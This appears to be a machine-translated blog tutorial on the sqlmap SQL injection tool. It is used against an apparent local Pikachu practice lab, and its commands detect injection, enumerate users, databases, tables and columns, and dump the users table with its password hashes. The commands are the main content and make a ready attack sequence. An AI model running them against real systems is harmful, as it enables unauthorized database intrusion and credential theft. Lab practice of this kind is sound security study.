当前位置:网站首页>Sqlmap tutorial (II) practical skills I
Sqlmap tutorial (II) practical skills I
2022-07-05 06:06:00 【A τθ】
One 、 Detection Injection
testing URL GET Whether there is injection of parameters :
-u Tested url
"" Double quotes , Indicates that this is a string .
--dbms Specify the data engine of the attack
-v Output information is registered as 1
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1
After typing sqlmap Will automatically inject , But there will be some prompts , You need to confirm at the terminal , If you use --batch The default operation will be performed automatically , There is no need to determine the interactive information .
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 --batch
Two 、 Get sensitive information
After confirming the existence of Injection , Then, get the information through the command of getting sensitive information
--current-user Users connected by users ;
--currnet-db Current library ;
--dbs Get all libraries ;
--is-dba whether root jurisdiction ;
--passwords Get the password of the database .
Use this command sqlmap When you find the ciphertext , Will prompt you whether to hash Crack , If you need to choose the right dictionary .
eg:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql --current-user --current-db --is-dba --passwords -v 1 --batch
3、 ... and 、 Get the table
Get the current library , You can list tables according to the Library .
-D Specify the library ;
--tables List all the tables .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu --tables
Four 、 Get the fields of the table
Get all the fields of a table .
-T Specify a table ;
--columns Get field .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns
5、 ... and 、 get data
--dump Export all contents of data ;
--dump -C "username,password" Get the contents of the field ;
Get all field contents of the specified table :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns --dump
Get the specified table 、 Specify field content .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users -C "id,username,password" --dump
6、 ... and 、 Get the specified number
Get the total number :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --count
Get specified id Number of pieces :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --dump --start 2 --stop 3
7、 ... and 、 Delete cache file
Parameters :--flush-session
If you don't want to use the previous cache of this target session file , You can use this parameter . Will empty the previous session, Retest the goal .
边栏推荐
猜你喜欢
Sword finger offer 05 Replace spaces
QQ电脑版取消转义符输入表情
Sword finger offer 58 - ii Rotate string left
[jailhouse article] jailhouse hypervisor
[practical skills] technical management of managers with non-technical background
Sword finger offer 35 Replication of complex linked list
Introduction to LVS [unfinished (semi-finished products)]
可变电阻器概述——结构、工作和不同应用
Time of process
LVS简介【暂未完成(半成品)】
随机推荐
SQLMAP使用教程(二)实战技巧一
leetcode-6110:网格图中递增路径的数目
QQ computer version cancels escape character input expression
Groupbykey() and reducebykey() and combinebykey() in spark
Codeforces Round #716 (Div. 2) D. Cut and Stick
927. Trisection simulation
2022年貴州省職業院校技能大賽中職組網絡安全賽項規程
How many checks does kubedm series-01-preflight have
Sword finger offer 06 Print linked list from beginning to end
剑指 Offer II 058:日程表
Daily question 2013 Detect square
全排列的代码 (递归写法)
Dichotomy, discretization, etc
[jailhouse article] jailhouse hypervisor
多屏电脑截屏会把多屏连着截下来,而不是只截当前屏
数据可视化图表总结(一)
The connection and solution between the shortest Hamilton path and the traveling salesman problem
Full Permutation Code (recursive writing)
数据可视化图表总结(二)
How to adjust bugs in general projects ----- take you through the whole process by hand